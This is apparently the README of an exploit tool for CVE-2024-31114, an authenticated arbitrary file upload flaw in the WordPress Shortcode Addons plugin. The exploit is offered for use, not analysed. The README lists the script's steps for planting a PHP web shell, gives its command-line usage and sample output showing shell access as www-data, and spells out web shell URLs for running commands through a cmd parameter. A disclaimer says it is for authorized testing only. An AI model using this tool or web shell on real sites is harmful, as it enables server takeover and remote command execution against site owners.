Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload# CVE-2024-31114 - WordPress Shortcode Addons RCE Exploit
**Shortcode Addons <= 3.2.5 – Authenticated (Admin+) Arbitrary File Upload**
**CVE ID:** CVE-2024-31114
**CVSS Score:** 9.1 (Critical)
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## 🛠️ Vulnerability Description
The **Shortcode Addons – with Visual Composer, Divi, Beaver Builder, and Elementor Extension** plugin for WordPress is vulnerable to arbitrary file uploads due to **missing file type validation** in all versions **up to and including 3.2.5**.
This flaw allows **authenticated attackers with administrator-level access or higher** to upload arbitrary files to the server — which can lead to **Remote Code Execution (RCE).**
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## 🚀 Script Description
This Python script automates exploitation of the vulnerability. It performs:
1. Disabling SSL verification
2. Logging in with given credentials
3. Extracting the CSRF token (`_wpnonce`)
4. Generating a PHP shell (`nxploit.php`)
5. Compressing and uploading it as a `.zip`
6. Confirming the upload and accessing the shell
7. Executing `whoami` on the target server
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## 🧪 Usage
```bash
usage: CVE-2024-31114.py [-h] -u URL -un USERNAME -p PASSWORD
Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload
By: Nxploited | Khaled Alenazi
options:
-h, --help Show this help message and exit
-u, --url URL Target URL (e.g. http://target.com)
-un, --username USERNAME WordPress Admin Username
-p, --password PASSWORD WordPress Admin Password
```
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## 📤 Example Output
```
[+] Authentication successful.
[+] _wpnonce extracted: 9d8dbbc630
[+] Payload nxploit.zip created.
[+] Payload uploaded.
[+] Shell is accessible at: http://target/wp-content/uploads/shortcode-addons/nxploit.php
[+] Command output:
------------------
www-data
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[+] Temporary files removed.
```
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## 🐚 Web Shell Usage
Once the payload is uploaded, you can execute system commands using the following format:
```
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=command
```
🔹 Example:
```
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=ls
```
This will list the contents of the current directory on the server.
## ⚠️ Disclaimer
This tool is for **educational and authorized testing purposes only**.
The author is **not responsible** for any misuse or damage caused by this script.
Use responsibly and only on systems you have explicit permission to test.
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**By:** Nxploited | Khaled Alenazi
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